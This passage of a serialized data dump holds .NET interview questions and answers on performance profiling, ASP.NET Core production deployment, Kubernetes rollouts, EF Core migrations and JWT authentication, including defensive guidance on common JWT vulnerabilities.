Usage (%)              12\n```\n\n```csharp\n\u002F\u002F In code — BenchmarkDotNet for micro-benchmarks:\n[MemoryDiagnoser]\npublic class StringBenchmarks\n{\n    [Benchmark(Baseline = true)]\n    public string Interpolation() => $\"Hello {name}!\";\n\n    [Benchmark]\n    public string SpanBased()     =>\n        string.Create(6 + name.Length, name, (buf, n) =>\n        {\n            \"Hello \".AsSpan().CopyTo(buf);\n            n.AsSpan().CopyTo(buf[6..]);\n            buf[^1] = '!';\n        });\n}\n```\n\n**Rule of thumb:** Profile first, optimize second. Use `dotnet-counters` to\nspot elevated GC pressure or thread pool starvation before reaching for a\nfull trace. Most .NET performance problems are GC allocation issues, not\nalgorithmic complexity — `[MemoryDiagnoser]` in BenchmarkDotNet reveals\nallocations per operation.\n",{"id":1711,"difficulty":96,"q":1712,"a":1713},"deployment-checklist","What is the production deployment checklist for an ASP.NET Core application?","Shipping to production involves configuration, observability, security hardening,\nand infrastructure concerns beyond just running `dotnet publish`.\n\n```csharp\n\u002F\u002F 1. Environment is set to Production:\n\u002F\u002F ASPNETCORE_ENVIRONMENT=Production\n\u002F\u002F (disables developer exception pages, enables compressed responses)\n\n\u002F\u002F 2. Secrets are in environment variables or Key Vault — NOT in committed files\n\n\u002F\u002F 3. HTTPS enforced:\napp.UseHttpsRedirection();\napp.UseHsts(); \u002F\u002F sends Strict-Transport-Security header\n\n\u002F\u002F 4. Security headers:\napp.Use(async (ctx, next) =>\n{\n    ctx.Response.Headers.Append(\"X-Content-Type-Options\", \"nosniff\");\n    ctx.Response.Headers.Append(\"X-Frame-Options\",        \"DENY\");\n    ctx.Response.Headers.Append(\"Referrer-Policy\",        \"strict-origin-when-cross-origin\");\n    await next();\n});\n\n\u002F\u002F 5. Response compression (saves bandwidth):\nbuilder.Services.AddResponseCompression(opts =>\n    opts.EnableForHttps = true);\napp.UseResponseCompression();\n\n\u002F\u002F 6. Health check endpoints registered and tested (see health-probe-kubernetes)\n\n\u002F\u002F 7. Structured logging to a central sink (Seq, Application Insights, ELK)\n\n\u002F\u002F 8. Database migrations run before startup (not during startup in production):\n\u002F\u002F Run as a separate job\u002Finit container:\n\u002F\u002F dotnet ef database update --project MyApp.Data\n\n\u002F\u002F 9. Connection pool tuning:\n\u002F\u002F \"MaxPoolSize=200;Min Pool Size=10;Connection Timeout=30\"\n\n\u002F\u002F 10. Data protection key ring persisted (ASP.NET Core cookie\u002FJWT signing keys):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToAzureBlobStorage(blobClient)\n    .ProtectKeysWithAzureKeyVault(keyIdentifier, credential);\n```\n\n**Rule of thumb:** The most common production bugs are: wrong environment name\n(still `Development`), secrets not injected, data protection keys not shared\nbetween instances (cookie auth breaks), and migrations not run. Verify all\nfour before every first-time production deployment.\n",{"id":1715,"difficulty":96,"q":1716,"a":1717},"blue-green-rolling","What are blue-green and rolling deployment strategies, and how do you implement them for .NET apps?","**Blue-green deployment** runs two identical production environments (blue and\ngreen). Traffic is switched from the current (blue) to the new (green) in a\nsingle atomic step. **Rolling deployment** gradually replaces old instances\nwith new ones, keeping some capacity available throughout.\n\n```yaml\n# Kubernetes rolling deployment (default strategy):\nspec:\n  replicas: 4\n  strategy:\n    type: RollingUpdate\n    rollingUpdate:\n      maxUnavailable: 1   # at most 1 pod down at a time\n      maxSurge: 1         # at most 1 extra pod during rollout\n  template:\n    spec:\n      containers:\n      - name: myapp\n        image: myapp:v2   # update this field to trigger a rollout\n```\n\n```bash\n# Trigger a rolling update by updating the image:\nkubectl set image deployment\u002Fmyapp myapp=myapp:v2\n\n# Monitor rollout status:\nkubectl rollout status deployment\u002Fmyapp\n\n# Roll back if the new version is unhealthy:\nkubectl rollout undo deployment\u002Fmyapp\n```\n\n```csharp\n\u002F\u002F Blue-green via Azure App Service deployment slots:\n\u002F\u002F 1. Deploy new version to the \"staging\" slot (pre-warmed, no traffic):\n\u002F\u002F    az webapp deployment source config-zip --slot staging ...\n\n\u002F\u002F 2. Swap slots atomically — staging becomes production:\n\u002F\u002F    az webapp deployment slot swap --slot staging --target-slot production\n\n\u002F\u002F 3. If issues arise, swap back in seconds:\n\u002F\u002F    az webapp deployment slot swap --slot production --target-slot staging\n\n\u002F\u002F Slot swap warm-up — ASP.NET Core startup hooks:\nbuilder.Services.Configure\u003CIISServerOptions>(opts =>\n    opts.AutomaticAuthentication = false);\n\n\u002F\u002F The slot swap waits for the app to return 200 on \u002Fhealth\u002Fready\n\u002F\u002F before completing the swap:\napp.MapHealthChecks(\"\u002Fhealth\u002Fready\");\n```\n\n**Rule of thumb:** Use rolling updates in Kubernetes for normal deploys —\nthey are zero-downtime by default. Use blue-green (deployment slots or a\nsecond Kubernetes deployment) when you need an instant rollback path with\nno traffic impact.\n",{"id":1719,"difficulty":96,"q":1720,"a":1721},"ef-migrations-cicd","How should you run Entity Framework Core migrations in a CI\u002FCD pipeline?","Running `database update` inside the application startup (`DbContext.Migrate()`)\nis risky in multi-instance deployments because all instances race to apply the\nsame migration simultaneously. The safer pattern is to apply migrations as a\ndedicated step before the application starts.\n\n```csharp\n\u002F\u002F Avoid this in production — causes races with multiple instances:\n\u002F\u002F app.Services.GetRequiredService\u003CAppDbContext>().Database.Migrate();\n\n\u002F\u002F Safe pattern 1: migration as a separate CLI step (GitHub Actions \u002F Azure Pipelines):\n\u002F\u002F dotnet ef database update --project MyApp.Data --startup-project MyApp\n\u002F\u002F Run this AFTER the new binaries are deployed but BEFORE traffic is switched.\n\n\u002F\u002F Safe pattern 2: dedicated migrator project \u002F job:\n\u002F\u002F Create a console app that only runs migrations, then exits:\nvar app = Host.CreateDefaultBuilder(args)\n    .ConfigureServices((ctx, services) =>\n        services.AddDbContext\u003CAppDbContext>(opts =>\n            opts.UseNpgsql(ctx.Configuration.GetConnectionString(\"Default\"))))\n    .Build();\n\nawait using var scope = app.Services.CreateAsyncScope();\nvar db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\nawait db.Database.MigrateAsync();\n\u002F\u002F Process exits here — used as a Kubernetes init container\n```\n\n```yaml\n# Kubernetes init container — runs migrations before the app pod starts:\nspec:\n  initContainers:\n  - name: db-migrate\n    image: myapp:v2\n    command: [\"dotnet\", \"MyApp.Migrator.dll\"]\n    env:\n    - name: ConnectionStrings__Default\n      valueFrom:\n        secretKeyRef:\n          name: myapp-secrets\n          key: db-connection\n  containers:\n  - name: myapp\n    image: myapp:v2\n    # App container starts only after init container succeeds\n```\n\nWrite **backward-compatible migrations**: add nullable columns or columns with\ndefaults first, deploy the app, then tighten constraints in a follow-up migration.\nThis keeps old and new code running against the same schema simultaneously.\n\n**Rule of thumb:** Never call `Migrate()` in `Program.cs` in production. Run\nmigrations as an init container or a pipeline step. If the migration fails, the\napp pods should not start — this prevents serving traffic against a broken schema.\n",{"id":1723,"difficulty":206,"q":1724,"a":1725},"data-protection-multiinstance","Why does ASP.NET Core Data Protection need special configuration in multi-instance deployments?","**Data Protection** generates the keys used to encrypt cookies, anti-forgery\ntokens, and TempData. By default keys are stored in memory and are unique per\nprocess. In a multi-instance deployment, instance A cannot decrypt a cookie\nencrypted by instance B, causing authentication failures and anti-forgery errors.\n\n```csharp\n\u002F\u002F Problem — default in-memory keys: each pod has different keys\n\u002F\u002F User authenticates on pod A, next request goes to pod B → 401 or CSRF failure\n\n\u002F\u002F Solution: share keys across all instances via a common store + key ring protection\n\n\u002F\u002F Option 1: Azure Blob Storage + Azure Key Vault (recommended for Azure):\n\u002F\u002F dotnet add package Azure.Extensions.AspNetCore.DataProtection.Blobs\n\u002F\u002F dotnet add package Azure.Extensions.AspNetCore.DataProtection.Keys\nbuilder.Services.AddDataProtection()\n    .PersistKeysToAzureBlobStorage(\n        new Uri(\"https:\u002F\u002Fmyaccount.blob.core.windows.net\u002Fkeys\u002Fdata-protection.xml\"),\n        new DefaultAzureCredential())\n    .ProtectKeysWithAzureKeyVault(\n        new Uri(\"https:\u002F\u002Fmyvault.vault.azure.net\u002Fkeys\u002Fdata-protection-key\"),\n        new DefaultAzureCredential())\n    .SetApplicationName(\"myapp\"); \u002F\u002F isolates keys from other apps in the same store\n\n\u002F\u002F Option 2: File system share (shared NFS \u002F Azure Files):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToFileSystem(new DirectoryInfo(\"\u002Fmnt\u002Fshared\u002Fkeys\"))\n    .ProtectKeysWithCertificate(certificate);\n\n\u002F\u002F Option 3: Redis (StackExchange.Redis):\n\u002F\u002F dotnet add package Microsoft.AspNetCore.DataProtection.StackExchangeRedis\nbuilder.Services.AddDataProtection()\n    .PersistKeysToStackExchangeRedis(redisConnection, \"DataProtection-Keys\")\n    .SetApplicationName(\"myapp\");\n\n\u002F\u002F Option 4: SQL Server \u002F EF Core:\n\u002F\u002F dotnet add package Microsoft.AspNetCore.DataProtection.EntityFrameworkCore\nbuilder.Services.AddDataProtection()\n    .PersistKeysToDbContext\u003CAppDbContext>();\n```\n\nKey ring settings to review:\n- `SetApplicationName` — required when multiple apps share the same key store\n- `SetDefaultKeyLifetime` — keys rotate every 90 days by default\n- `DisableAutomaticKeyGeneration` — use only in secondary read-only instances\n\n**Rule of thumb:** Always configure a shared key store when running more than\none instance of an ASP.NET Core app. The most common symptom of missing key\nsharing is intermittent 400 errors on form submissions (anti-forgery) or users\nbeing logged out randomly (cookie decryption fails).\n",{"id":1727,"difficulty":96,"q":1728,"a":1729},"container-resource-limits","How do resource limits in Docker and Kubernetes affect .NET runtime behaviour?","The .NET runtime reads CPU and memory limits from cgroup information set by\nDocker or Kubernetes. Misconfigured limits cause GC thrashing, thread pool\nstarvation, or OOMKilled pods.\n\n```yaml\n# Kubernetes resource requests and limits:\nresources:\n  requests:\n    memory: \"256Mi\"   # minimum guaranteed — used for scheduling\n    cpu: \"250m\"       # 0.25 cores guaranteed\n  limits:\n    memory: \"512Mi\"   # hard cap — OOMKill if exceeded\n    cpu: \"1000m\"      # 1 core max (throttled, not killed)\n```\n\n```csharp\n\u002F\u002F .NET automatically sizes GC and thread pool based on cgroup limits\n\u002F\u002F (requires .NET 3.0+ with cgroup v1, .NET 6+ for cgroup v2):\n\n\u002F\u002F Verify the runtime sees correct limits at startup:\nvar cpuCount    = Environment.ProcessorCount;  \u002F\u002F reflects cgroup CPU quota\nvar gcHeapBytes = GC.GetGCMemoryInfo().TotalAvailableMemoryBytes; \u002F\u002F reflects limit\n\n_logger.LogInformation(\"CPU count: {Cpu}, GC heap limit: {Heap} MB\",\n    cpuCount, gcHeapBytes \u002F 1024 \u002F 1024);\n\n\u002F\u002F Server GC (default) — one heap per CPU core; bad with low limits:\n\u002F\u002F With 0.25 cores, Server GC still allocates heaps based on physical cores.\n\u002F\u002F Switch to Workstation GC for low-CPU containers:\n\u002F\u002F In .csproj:\n\u002F\u002F \u003CServerGarbageCollection>false\u003C\u002FServerGarbageCollection>\n\u002F\u002F Or via runtimeconfig.json:\n\u002F\u002F { \"configProperties\": { \"System.GC.Server\": false } }\n\n\u002F\u002F Thread pool: defaults to min threads = CPU count.\n\u002F\u002F With 0.25 vCPU, min threads = 1 by default. Tune if needed:\nThreadPool.SetMinThreads(workerThreads: 4, completionPortThreads: 4);\n```\n\nCommon pitfalls:\n- **No memory limit** — GC uses host total RAM, OOMKilled when the pod exceeds\n  the node's available memory\n- **CPU throttling** — `cpu: limits: 250m` means the container is throttled when\n  it exceeds 250 ms of CPU per 1000 ms; causes latency spikes, not crashes\n- **Server GC + low CPU** — Server GC creates one thread per logical core;\n  with many small-CPU containers this is wasteful\n\n**Rule of thumb:** Set `memory limits` to 1.5–2x the normal heap size observed\nin `dotnet-counters`. Set CPU limits to at least 1 core for latency-sensitive\nservices — CPU throttling introduces tail-latency spikes that are hard to\ndiagnose.\n",{"description":94},"Deployment interview questions — dotnet publish modes, Kestrel, Docker multi-stage builds, Kubernetes health probes, graceful shutdown, and CI\u002FCD.","dotnet\u002Fperformance-deployment\u002Fdeployment","ongyx4Vy8GfP4eZ8R4DkatFLI6BAXD0mU6E0RuP9sE4",{"id":1735,"title":1736,"body":1737,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1741,"navigation":99,"order":38,"path":1742,"questions":1743,"questionsCount":163,"related":164,"seo":1804,"seoDescription":1805,"stem":1806,"subtopic":1807,"topic":64,"topicSlug":66,"updated":168,"__hash__":1808},"qa\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens.md","Jwt Tokens",{"type":91,"value":1738,"toc":1739},[],{"title":94,"searchDepth":29,"depth":29,"links":1740},[],{},"\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens",[1744,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800],{"id":1745,"difficulty":104,"q":1746,"a":1747},"jwt-structure","What is a JWT and what are its three parts?","A **JSON Web Token (JWT)** is a compact, URL-safe token that carries signed claims.\nIt consists of three Base64URL-encoded JSON objects separated by dots:\n`header.payload.signature`.\n\n```csharp\n\u002F\u002F Example JWT (decoded):\n\u002F\u002F eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9     ← header\n\u002F\u002F .eyJzdWIiOiI0MiIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJleHAiOjE3MTk5MzkyMDB9  ← payload\n\u002F\u002F .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← signature\n\n\u002F\u002F Header (algorithm + type):\n\u002F\u002F {\n\u002F\u002F \"alg\": \"HS256\",   \u002F\u002F HMAC SHA-256 (symmetric)\n\u002F\u002F \"typ\": \"JWT\"\n\u002F\u002F }\n\n\u002F\u002F Payload (claims):\n\u002F\u002F {\n\u002F\u002F \"sub\":   \"42\",                   \u002F\u002F subject (user ID) — registered claim\n\u002F\u002F \"email\": \"alice@example.com\",    \u002F\u002F private claim\n\u002F\u002F \"role\":  \"Admin\",                \u002F\u002F private claim\n\u002F\u002F \"iss\":   \"https:\u002F\u002Fmyapp.com\",    \u002F\u002F issuer — registered claim\n\u002F\u002F \"aud\":   \"api1\",                 \u002F\u002F audience — registered claim\n\u002F\u002F \"exp\":   1719939200,             \u002F\u002F expiry (Unix timestamp) — registered claim\n\u002F\u002F \"iat\":   1719935600,             \u002F\u002F issued at — registered claim\n\u002F\u002F \"nbf\":   1719935600              \u002F\u002F not before — registered claim\n\u002F\u002F }\n\n\u002F\u002F Signature — protects header + payload from tampering:\n\u002F\u002F HMACSHA256(base64url(header) + \".\" + base64url(payload), secret)\n\n\u002F\u002F Key property: payload is NOT encrypted — only signed.\n\u002F\u002F Anyone can decode the payload; only the key holder can create a valid signature.\n\u002F\u002F → Never put passwords, PII, or secrets in the payload.\n\nusing var handler = new JwtSecurityTokenHandler();\nvar token = handler.ReadJwtToken(jwtString);      \u002F\u002F decode without validation\nvar sub   = token.Claims.First(c => c.Type == \"sub\").Value;\n```\n\n**Rule of thumb:** JWTs are signed, not secret. The signature guarantees integrity —\nnobody can tamper with the payload without invalidating the signature — but the\ncontent is readable by anyone. Encrypt sensitive data before adding it as a claim.\n",{"id":1749,"difficulty":104,"q":1750,"a":1751},"jwt-bearer-setup","How do you configure JWT bearer authentication in ASP.NET Core?","Install `Microsoft.AspNetCore.Authentication.JwtBearer`, call `AddJwtBearer`, and\nset token validation parameters. The middleware reads the `Authorization: Bearer \u003Ctoken>`\nheader on every request.\n\n```csharp\n\u002F\u002F NuGet: Microsoft.AspNetCore.Authentication.JwtBearer\n\nvar jwtSettings = builder.Configuration.GetSection(\"Jwt\");\nvar key         = Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!);\n\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            \u002F\u002F What to validate:\n            ValidateIssuer           = true,\n            ValidIssuer              = jwtSettings[\"Issuer\"],    \u002F\u002F \"https:\u002F\u002Fmyapp.com\"\n\n            ValidateAudience         = true,\n            ValidAudience            = jwtSettings[\"Audience\"],  \u002F\u002F \"api1\"\n\n            ValidateLifetime         = true,                     \u002F\u002F check exp claim\n            ClockSkew                = TimeSpan.FromSeconds(30), \u002F\u002F tolerance for clock drift\n\n            ValidateIssuerSigningKey = true,\n            IssuerSigningKey         = new SymmetricSecurityKey(key),\n        };\n\n        \u002F\u002F Events (optional) — hook into authentication lifecycle:\n        options.Events = new JwtBearerEvents\n        {\n            OnAuthenticationFailed = ctx =>\n            {\n                \u002F\u002F Log token validation failure (don't expose reason to caller):\n                var logger = ctx.HttpContext.RequestServices\n                    .GetRequiredService\u003CILogger\u003CProgram>>();\n                logger.LogWarning(\"JWT validation failed: {Error}\", ctx.Exception.Message);\n                return Task.CompletedTask;\n            },\n        };\n    });\n\nbuilder.Services.AddAuthorization();\n\nvar app = builder.Build();\napp.UseAuthentication();\napp.UseAuthorization();\n```\n\n**Rule of thumb:** Always validate issuer, audience, lifetime, and the signing key.\nSkipping any of these creates exploitable gaps — especially `ValidateAudience`, which\nprevents tokens issued for one API from being used at another.\n",{"id":1753,"difficulty":96,"q":1754,"a":1755},"generate-jwt","How do you generate a JWT in ASP.NET Core?","Use `JwtSecurityTokenHandler` (from `System.IdentityModel.Tokens.Jwt`) to create\nand sign a token. Return it in the login response; clients include it in subsequent\n`Authorization: Bearer` headers.\n\n```csharp\n\u002F\u002F Token generation service:\npublic class JwtTokenService\n{\n    private readonly IConfiguration _config;\n\n    public JwtTokenService(IConfiguration config) => _config = config;\n\n    public string GenerateAccessToken(User user)\n    {\n        var jwtSettings = _config.GetSection(\"Jwt\");\n        var key         = new SymmetricSecurityKey(\n            Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!));\n\n        var claims = new List\u003CClaim>\n        {\n            new Claim(JwtRegisteredClaimNames.Sub,   user.Id.ToString()),\n            new Claim(JwtRegisteredClaimNames.Email, user.Email),\n            new Claim(JwtRegisteredClaimNames.Jti,   Guid.NewGuid().ToString()), \u002F\u002F unique token ID\n            new Claim(ClaimTypes.Role,               user.Role),\n        };\n\n        var token = new JwtSecurityToken(\n            issuer:             jwtSettings[\"Issuer\"],\n            audience:           jwtSettings[\"Audience\"],\n            claims:             claims,\n            notBefore:          DateTime.UtcNow,\n            expires:            DateTime.UtcNow.AddMinutes(\n                                    int.Parse(jwtSettings[\"ExpiryMinutes\"]!)),\n            signingCredentials: new SigningCredentials(key, SecurityAlgorithms.HmacSha256));\n\n        return new JwtSecurityTokenHandler().WriteToken(token);\n    }\n}\n\n\u002F\u002F Login endpoint — validate credentials, return token:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken = _tokenService.GenerateAccessToken(user);\n    return Ok(new { accessToken, expiresIn = 900 }); \u002F\u002F 15 min\n}\n```\n\n**Rule of thumb:** Always include `jti` (JWT ID) for auditability and revocation\nsupport. Keep access token lifetime short (≤ 15 min); long-lived tokens become\na liability if leaked.\n",{"id":1757,"difficulty":96,"q":1758,"a":1759},"token-validation-params","What are the critical TokenValidationParameters settings and what does each prevent?","`TokenValidationParameters` controls which claims are checked when the middleware\nvalidates an incoming token. Missing validations are exploitable attack vectors.\n\n```csharp\nnew TokenValidationParameters\n{\n    \u002F\u002F ValidateIssuer — prevents tokens from untrusted issuers:\n    \u002F\u002F Attack: attacker generates a valid HS256 token with alg=none or different issuer\n    ValidateIssuer = true,\n    ValidIssuer    = \"https:\u002F\u002Fauth.myapp.com\",\n\n    \u002F\u002F ValidateAudience — prevents token replay across APIs:\n    \u002F\u002F Attack: token issued for api1 reused against api2\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n\n    \u002F\u002F ValidateLifetime — prevents use of expired tokens:\n    ValidateLifetime = true,\n    ClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F allow 30s clock drift between servers\n\n    \u002F\u002F ValidateIssuerSigningKey — prevents forged tokens:\n    ValidateIssuerSigningKey = true,\n    IssuerSigningKey         = new SymmetricSecurityKey(key),\n\n    \u002F\u002F NameClaimType — controls what User.Identity.Name returns:\n    NameClaimType   = JwtRegisteredClaimNames.Sub,  \u002F\u002F or ClaimTypes.Name\n\n    \u002F\u002F RoleClaimType — controls User.IsInRole():\n    RoleClaimType   = ClaimTypes.Role,\n\n    \u002F\u002F RequireExpirationTime — reject tokens without exp:\n    RequireExpirationTime = true,\n\n    \u002F\u002F RequireSignedTokens — reject unsigned (alg=none) tokens:\n    RequireSignedTokens = true, \u002F\u002F true by default — never set to false\n}\n```\n\n**Rule of thumb:** Never disable `ValidateAudience`, `ValidateLifetime`, or\n`RequireSignedTokens`. The `alg=none` vulnerability (accepting unsigned tokens)\nis a CRITICAL CVE pattern — `RequireSignedTokens` prevents it.\n",{"id":1761,"difficulty":96,"q":1762,"a":1763},"refresh-tokens","What are refresh tokens and how do you implement a refresh flow in ASP.NET Core?","**Refresh tokens** are long-lived, opaque credentials stored server-side. When the\nshort-lived access token expires, the client exchanges the refresh token for a new\naccess token — without re-entering credentials.\n\n```csharp\n\u002F\u002F Token pair returned at login:\npublic record TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn);\n\n\u002F\u002F Login endpoint — return both tokens:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user.Id);\n    \u002F\u002F refreshToken is a random opaque string stored in DB with expiry (e.g., 30 days)\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Refresh endpoint — exchange refresh token for new access token:\n[HttpPost(\"refresh\")]\npublic async Task\u003CIActionResult> Refresh([FromBody] RefreshDto dto)\n{\n    var stored = await _refreshTokenStore.GetAsync(dto.RefreshToken);\n    if (stored is null || stored.IsRevoked || stored.ExpiresAt \u003C DateTime.UtcNow)\n        return Unauthorized(\"Invalid or expired refresh token\");\n\n    \u002F\u002F Rotate — invalidate old refresh token, issue new one:\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n\n    var user         = await _userService.GetByIdAsync(stored.UserId);\n    var accessToken  = _tokenService.GenerateAccessToken(user!);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user!.Id);\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Revoke all tokens on logout:\n[HttpPost(\"logout\")]\n[Authorize]\npublic async Task\u003CIActionResult> Logout([FromBody] RevokeDto dto)\n{\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n    return NoContent();\n}\n```\n\n**Rule of thumb:** Always rotate refresh tokens on each use — issue a new one\nand invalidate the old one. This detects token theft: if a stolen token is used\nbefore the legitimate client, the legitimate client's next request will fail.\n",{"id":1765,"difficulty":96,"q":1766,"a":1767},"symmetric-vs-asymmetric","What is the difference between symmetric and asymmetric JWT signing?","**Symmetric signing** (HMAC) uses one shared secret for both signing and verification.\n**Asymmetric signing** (RSA\u002FECDSA) uses a private key to sign and a public key to\nverify — the public key can be shared safely.\n\n```csharp\n\u002F\u002F Symmetric — HS256 \u002F HS384 \u002F HS512:\n\u002F\u002F Same secret used to sign and verify — both the token issuer and all resource servers\n\u002F\u002F must have the secret. If any server is compromised, all tokens are at risk.\nvar symmetricKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\nvar signingCreds = new SigningCredentials(symmetricKey, SecurityAlgorithms.HmacSha256);\n\n\u002F\u002F Validate with the same key:\noptions.IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\n\n\u002F\u002F Asymmetric — RS256 \u002F RS384 \u002F RS512 \u002F ES256:\n\u002F\u002F Private key lives only on the auth server.\n\u002F\u002F Public key is distributed to resource servers (or served via JWKS endpoint).\nvar rsa        = RSA.Create();\nrsa.ImportFromPem(File.ReadAllText(\"private.pem\"));\nvar privateKey = new RsaSecurityKey(rsa) { KeyId = \"key-2024-01\" };\nvar signingCreds = new SigningCredentials(privateKey, SecurityAlgorithms.RsaSha256);\n\n\u002F\u002F Resource server validates with public key only:\nvar rsaPublic = RSA.Create();\nrsaPublic.ImportFromPem(File.ReadAllText(\"public.pem\"));\noptions.IssuerSigningKey = new RsaSecurityKey(rsaPublic);\n\n\u002F\u002F JWKS endpoint — automatic public key retrieval (common for identity providers):\noptions.Authority = \"https:\u002F\u002Fauth.myapp.com\"; \u002F\u002F fetches JWKS from \u002F.well-known\u002Fopenid-configuration\n\u002F\u002F No need to configure IssuerSigningKey manually — handler fetches + caches JWKS\n```\n\n**Rule of thumb:** Use symmetric signing (HS256) when one service issues and verifies\ntokens (monolith, single API). Use asymmetric signing (RS256\u002FES256) in microservices\nor multi-tenant scenarios where multiple services verify tokens but only one issues them.\n",{"id":1769,"difficulty":96,"q":1770,"a":1771},"jwt-claims-mapping","How does ASP.NET Core map JWT claims to ClaimsPrincipal, and what common gotchas exist?","The JWT bearer middleware parses the token payload and creates a `ClaimsPrincipal`.\nIt maps standard JWT claim names to WS-Federation long-form `ClaimTypes.*` URIs by\ndefault — which can cause surprising name mismatches.\n\n```csharp\n\u002F\u002F Default mapping — JWT claim \"sub\" becomes:\n\u002F\u002F ClaimTypes.NameIdentifier = \"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\"\n\u002F\u002F JWT \"email\" → ClaimTypes.Email (long URI)\n\u002F\u002F JWT \"role\"  → ClaimTypes.Role  (long URI) — but only if the claim is named \"role\"\n\n\u002F\u002F This default mapping causes confusion. Disable it to use JWT claim names directly:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear(); \u002F\u002F clear global mapping\n\u002F\u002F Now \"sub\" stays \"sub\", \"email\" stays \"email\"\n\n\u002F\u002F Or configure per-handler:\noptions.MapInboundClaims = false; \u002F\u002F .NET 6+ — disables the long URI mapping\n\n\u002F\u002F After clearing, read claims by their JWT name:\nvar sub   = User.FindFirstValue(\"sub\");\nvar email = User.FindFirstValue(\"email\");\n\n\u002F\u002F Custom mapping — map specific JWT names to ClaimTypes:\noptions.TokenValidationParameters.NameClaimType = JwtRegisteredClaimNames.Sub;\noptions.TokenValidationParameters.RoleClaimType = \"role\"; \u002F\u002F or \"roles\"\n\n\u002F\u002F Role arrays in the token payload — the handler splits them automatically:\n\u002F\u002F JWT payload: { \"role\": [\"Admin\", \"Editor\"] }\n\u002F\u002F Results in two separate ClaimTypes.Role claims in ClaimsPrincipal\n\n\u002F\u002F Always test claim reading after changing the mapping:\nvar roles = User.FindAll(ClaimTypes.Role).Select(c => c.Value).ToList();\n```\n\n**Rule of thumb:** Call `JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear()`\nor set `MapInboundClaims = false` when you control both the token issuer and the\nAPI. This keeps claim names predictable and matching what's in the token.\n",{"id":1773,"difficulty":206,"q":1774,"a":1775},"jwt-vulnerabilities","What are the most common JWT vulnerabilities and how do you prevent them in ASP.NET Core?","The top JWT vulnerabilities are algorithm confusion, token replay, missing validation,\nand weak secrets. ASP.NET Core's defaults prevent most of these, but misconfiguration\nundoes the protection.\n\n```csharp\n\u002F\u002F 1. alg=none attack — token with no signature accepted:\n\u002F\u002F Prevention: RequireSignedTokens = true (default)\noptions.TokenValidationParameters.RequireSignedTokens = true; \u002F\u002F never set to false\n\n\u002F\u002F 2. Algorithm confusion (RS256 → HS256 swap):\n\u002F\u002F Attacker uses the server's RSA public key as the HMAC secret.\n\u002F\u002F Prevention: explicitly specify accepted algorithms:\noptions.TokenValidationParameters.ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 };\n\u002F\u002F Or use ValidateIssuerSigningKey — asymmetric key rejects HS256 automatically.\n\n\u002F\u002F 3. Missing audience validation — token for api1 replayed at api2:\noptions.TokenValidationParameters.ValidateAudience = true;\noptions.TokenValidationParameters.ValidAudience    = \"api1\"; \u002F\u002F never skip this\n\n\u002F\u002F 4. Weak secrets — HS256 with short\u002Fguessable key:\n\u002F\u002F Attacker can brute-force signatures offline against any captured token.\n\u002F\u002F Prevention: use ≥ 256-bit (32-byte) cryptographically random secret:\nvar secret = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32));\n\u002F\u002F Store in Azure Key Vault \u002F AWS Secrets Manager, not appsettings.json.\n\n\u002F\u002F 5. Sensitive data in payload — payload is base64, not encrypted:\n\u002F\u002F Never include passwords, SSNs, credit card numbers in claims.\n\u002F\u002F Include only identity\u002Fauthorization data (sub, email, roles).\n\n\u002F\u002F 6. Long-lived access tokens — stolen tokens stay valid:\n\u002F\u002F Prevention: short expiry (≤ 15 min) + refresh token rotation.\nexpires: DateTime.UtcNow.AddMinutes(15) \u002F\u002F not AddDays(30)\n\n\u002F\u002F 7. Insecure storage on the client (localStorage vs HttpOnly cookie):\n\u002F\u002F localStorage is readable by JavaScript → XSS steals the token.\n\u002F\u002F HttpOnly cookie is not accessible to JS (but requires CSRF protection).\n\u002F\u002F For SPAs: prefer HttpOnly, SameSite=Strict cookies for refresh tokens.\n```\n\n**Rule of thumb:** Treat a JWT as a bearer credential — whoever has it can use it.\nKeep access tokens short-lived, use `RequireSignedTokens`, validate audience, and store\nsecrets in a vault. Reject tokens signed with unexpected algorithms.\n",{"id":1777,"difficulty":96,"q":1778,"a":1779},"jwt-expiry-handling","How do you handle JWT expiration — on the server and on the client?","The server rejects expired tokens automatically via `ValidateLifetime = 